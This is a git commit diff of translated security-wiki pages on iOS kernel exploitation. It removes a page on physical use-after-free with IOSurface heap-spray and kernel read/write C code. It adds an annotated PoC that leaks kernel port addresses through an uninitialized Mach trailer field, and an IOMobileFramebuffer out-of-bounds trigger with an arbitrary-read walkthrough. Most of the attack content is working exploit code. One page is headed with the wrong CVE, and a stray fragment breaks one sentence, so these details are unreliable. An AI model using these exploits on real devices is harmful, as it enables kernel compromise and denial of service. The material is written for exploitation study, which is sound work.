Translated ['src/binary-exploitation/ios-exploiting/ios-example-heap-exp

This commit is contained in:
Translator 2025-09-26 00:46:39 +00:00
parent 2cb9a6ff87
commit ff41abff0d
26 changed files with 2985 additions and 1653 deletions

View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,203 +0,0 @@
# iOS Exploiting
## Uso físico después de liberar
Este es un resumen de la publicación de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), además de que se puede encontrar más información sobre la explotación utilizando esta técnica en [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Gestión de memoria en XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
El **espacio de direcciones de memoria virtual** para procesos de usuario en iOS abarca desde **0x0 hasta 0x8000000000**. Sin embargo, estas direcciones no se mapean directamente a la memoria física. En cambio, el **kernel** utiliza **tablas de páginas** para traducir direcciones virtuales en **direcciones físicas** reales.
#### Niveles de Tablas de Páginas en iOS
Las tablas de páginas están organizadas jerárquicamente en tres niveles:
1. **Tabla de Páginas L1 (Nivel 1)**:
* Cada entrada aquí representa un amplio rango de memoria virtual.
* Cubre **0x1000000000 bytes** (o **256 GB**) de memoria virtual.
2. **Tabla de Páginas L2 (Nivel 2)**:
* Una entrada aquí representa una región más pequeña de memoria virtual, específicamente **0x2000000 bytes** (32 MB).
* Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma.
3. **Tabla de Páginas L3 (Nivel 3)**:
* Este es el nivel más fino, donde cada entrada mapea una única **página de memoria de 4 KB**.
* Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular.
#### Mapeo de Memoria Virtual a Física
* **Mapeo Directo (Mapeo por Bloque)**:
* Algunas entradas en una tabla de páginas **mapean directamente un rango de direcciones virtuales** a un rango contiguo de direcciones físicas (como un atajo).
* **Puntero a Tabla de Páginas Hija**:
* Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a una **tabla de páginas hija** en el siguiente nivel (por ejemplo, L2).
#### Ejemplo: Mapeo de una Dirección Virtual
Supongamos que intentas acceder a la dirección virtual **0x1000000000**:
1. **Tabla L1**:
* El kernel verifica la entrada de la tabla de páginas L1 correspondiente a esta dirección virtual. Si tiene un **puntero a una tabla de páginas L2**, va a esa tabla L2.
2. **Tabla L2**:
* El kernel verifica la tabla de páginas L2 para un mapeo más detallado. Si esta entrada apunta a una **tabla de páginas L3**, procede allí.
3. **Tabla L3**:
* El kernel busca la entrada final L3, que apunta a la **dirección física** de la página de memoria real.
#### Ejemplo de Mapeo de Direcciones
Si escribes la dirección física **0x800004000** en el primer índice de la tabla L2, entonces:
* Las direcciones virtuales desde **0x1000000000** hasta **0x1002000000** se mapean a direcciones físicas desde **0x800004000** hasta **0x802004000**.
* Este es un **mapeo por bloque** a nivel L2.
Alternativamente, si la entrada L2 apunta a una tabla L3:
* Cada página de 4 KB en el rango de direcciones virtuales **0x1000000000 -> 0x1002000000** sería mapeada por entradas individuales en la tabla L3.
### Uso físico después de liberar
Un **uso físico después de liberar** (UAF) ocurre cuando:
1. Un proceso **asigna** algo de memoria como **legible y escribible**.
2. Las **tablas de páginas** se actualizan para mapear esta memoria a una dirección física específica a la que el proceso puede acceder.
3. El proceso **desasigna** (libera) la memoria.
4. Sin embargo, debido a un **error**, el kernel **olvida eliminar el mapeo** de las tablas de páginas, aunque marca la memoria física correspondiente como libre.
5. El kernel puede entonces **reasignar esta "memoria física liberada"** para otros propósitos, como **datos del kernel**.
6. Dado que el mapeo no se eliminó, el proceso aún puede **leer y escribir** en esta memoria física.
Esto significa que el proceso puede acceder a **páginas de memoria del kernel**, que podrían contener datos o estructuras sensibles, lo que potencialmente permite a un atacante **manipular la memoria del kernel**.
### Estrategia de Explotación: Heap Spray
Dado que el atacante no puede controlar qué páginas específicas del kernel se asignarán a la memoria liberada, utilizan una técnica llamada **heap spray**:
1. El atacante **crea una gran cantidad de objetos IOSurface** en la memoria del kernel.
2. Cada objeto IOSurface contiene un **valor mágico** en uno de sus campos, lo que facilita su identificación.
3. Ellos **escanean las páginas liberadas** para ver si alguno de estos objetos IOSurface aterrizó en una página liberada.
4. Cuando encuentran un objeto IOSurface en una página liberada, pueden usarlo para **leer y escribir en la memoria del kernel**.
Más información sobre esto en [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Proceso Paso a Paso de Heap Spray
1. **Rociar Objetos IOSurface**: El atacante crea muchos objetos IOSurface con un identificador especial ("valor mágico").
2. **Escanear Páginas Liberadas**: Verifican si alguno de los objetos se ha asignado en una página liberada.
3. **Leer/Escribir en la Memoria del Kernel**: Al manipular campos en el objeto IOSurface, obtienen la capacidad de realizar **lecturas y escrituras arbitrarias** en la memoria del kernel. Esto les permite:
* Usar un campo para **leer cualquier valor de 32 bits** en la memoria del kernel.
* Usar otro campo para **escribir valores de 64 bits**, logrando un **primitivo de lectura/escritura estable del kernel**.
Generar objetos IOSurface con el valor mágico IOSURFACE_MAGIC para buscar más tarde:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Buscar objetos **`IOSurface`** en una página física liberada:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Lograr Lectura/Escritura en el Kernel con IOSurface
Después de lograr el control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para **operaciones arbitrarias de lectura y escritura en el kernel**.
**Campos Clave en IOSurface**
El objeto IOSurface tiene dos campos cruciales:
1. **Puntero de Conteo de Uso**: Permite una **lectura de 32 bits**.
2. **Puntero de Marca de Tiempo Indexada**: Permite una **escritura de 64 bits**.
Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura.
#### Lectura de Kernel de 32 Bits
Para realizar una lectura:
1. Sobrescribe el **puntero de conteo de uso** para que apunte a la dirección objetivo menos un desplazamiento de 0x14 bytes.
2. Usa el método `get_use_count` para leer el valor en esa dirección.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Escritura en el Kernel de 64 Bits
Para realizar una escritura:
1. Sobrescribe el **puntero de marca de tiempo indexado** a la dirección objetivo.
2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Resumen del Flujo de Explotación
1. **Activar Uso-Físico Después de Liberar**: Las páginas liberadas están disponibles para reutilización.
2. **Rociar Objetos IOSurface**: Asignar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel.
3. **Identificar IOSurface Accesible**: Localizar un IOSurface en una página liberada que controlas.
4. **Abusar del Uso-Físico Después de Liberar**: Modificar punteros en el objeto IOSurface para habilitar **lecturas/escrituras** arbitrarias en el **kernel** a través de métodos IOSurface.
Con estas primitivas, la explotación proporciona **lecturas de 32 bits** y **escrituras de 64 bits** controladas en la memoria del kernel. Los pasos adicionales de jailbreak podrían involucrar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (por ejemplo, PPL en dispositivos arm64e más nuevos).

View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## La vulnerabilidad
Hay una [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), pero como resumen:
Cada Mach message que recibe el kernel termina con un **"trailer"**: una struct de longitud variable con metadata (seqno, sender token, audit token, context, access control data, labels...). El kernel **siempre reserva el trailer de mayor tamaño posible** (MAX_TRAILER_SIZE) en el buffer del mensaje, pero **solo inicializa algunos campos**, y luego **decide qué tamaño de trailer devolver** basándose en las **receive options controladas por el usuario**.
Estas son las structs relevantes del trailer:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Entonces, cuando se genera el trailer object, solo algunos campos se inicializan, y el max trailer size siempre se reserva:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Entonces, por ejemplo, al intentar leer un mensaje mach usando `mach_msg()` se llama a la función `ipc_kmsg_add_trailer()` para adjuntar el trailer al mensaje. Dentro de esta función se calcula el tamaño del trailer y se rellenan algunos otros campos del trailer:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
El parámetro `option` está controlado por el usuario, por lo tanto **es necesario proporcionar un valor que supere la comprobación `if`.**
Para pasar esta comprobación necesitamos enviar un `option` válido y soportado:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Pero, debido a que `MACH_RCV_TRAILER_MASK` solo está comprobando bits, podemos pasar cualquier valor entre `0` y `8` para no entrar dentro de la instrucción `if`.
Luego, continuando con el código puedes encontrar:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Donde se puede ver que si el `option` es mayor o igual a `MACH_RCV_TRAILER_AV` (7), el campo **`msgh_ad`** se inicializa a `0`.
Como habrás notado, **`msgh_ad`** seguía siendo el único campo del trailer que no se inicializó antes y que podría contener un leak de memoria usada anteriormente.
Por tanto, la forma de evitar inicializarlo sería pasar un valor de `option` igual a `5` o `6`, de modo que pase el primer `if` y no entre en el `if` que inicializa `msgh_ad` porque los valores `5` y `6` no tienen ningún tipo de trailer asociado.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an `unsigned int` but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **añadir varias direcciones del kernel dentro del mensaje** so one of them can be leaked.
Se añadieron comentarios para una mejor comprensión:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your processs IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Referencias
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## La vulnerabilidad
Tienes una [gran explicación de la vulnerabilidad aquí](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), pero como resumen:
- La ruta de código vulnerable es el **external method #83** del user client **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Este método recibe un parámetro controlado por el usuario que no se comprueba de ninguna manera y que se pasa a la siguiente función como **`scalar0`**.
- Ese método reenvía a **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, donde **`scalar0`** (un valor **32-bit** controlado por el usuario) se usa como **índice** en un **array interno de pointers** sin **ninguna comprobación de límites**:
> `ptr = *(this + 0xA58 + scalar0 * 8);` → pasado a `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` como un **`IOSurface*`**.\
> **Resultado:** **OOB pointer read & type confusion** en ese array. Si el pointer no es válido, el kernel al hacer el deref hace panic → **DoS**.
> [!NOTE]
> Esto fue corregido en **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
> [!WARNING]
> La función inicial para llamar `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` está protegida por el entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Sin embargo, **WebKit.WebContent** tiene este entitlement, por lo que puede usarse para disparar la vulnerabilidad desde un proceso sandboxed.
## DoS PoC
Lo siguiente es el PoC inicial de DoS del post original con comentarios adicionales:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC Explained
1. **Opening the right user client**
- `get_appleclcd_uc()` encuentra el servicio **AppleCLCD** y abre **user client type 2**. AppleCLCD e IOMobileFramebuffer comparten la misma tabla de external-methods; el type 2 expone **selector 83**, el método vulnerable. **This is your entry to the bug.** E_POC/)
**Why 83 matters:** la ruta descompilada es:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
`IOMobileFramebufferUserClient::get_displayed_surface(...)`\
`IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Dentro de esa última llamada, el código **usa tu scalar de 32 bits como índice de array sin verificación de límites**, obtiene un puntero desde **`this + 0xA58 + index*8`**, y **lo pasa como un `IOSurface*`** a `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.**
2. **The heap spray (why IOSurface shows up here)**
- `do_spray()` usa **`IOSurfaceRootUserClient`** para **create many IOSurfaces** y **spray small values** (`s_set_value` style). Esto rellena los kernel heaps cercanos con **pointers to valid IOSurface objects**.
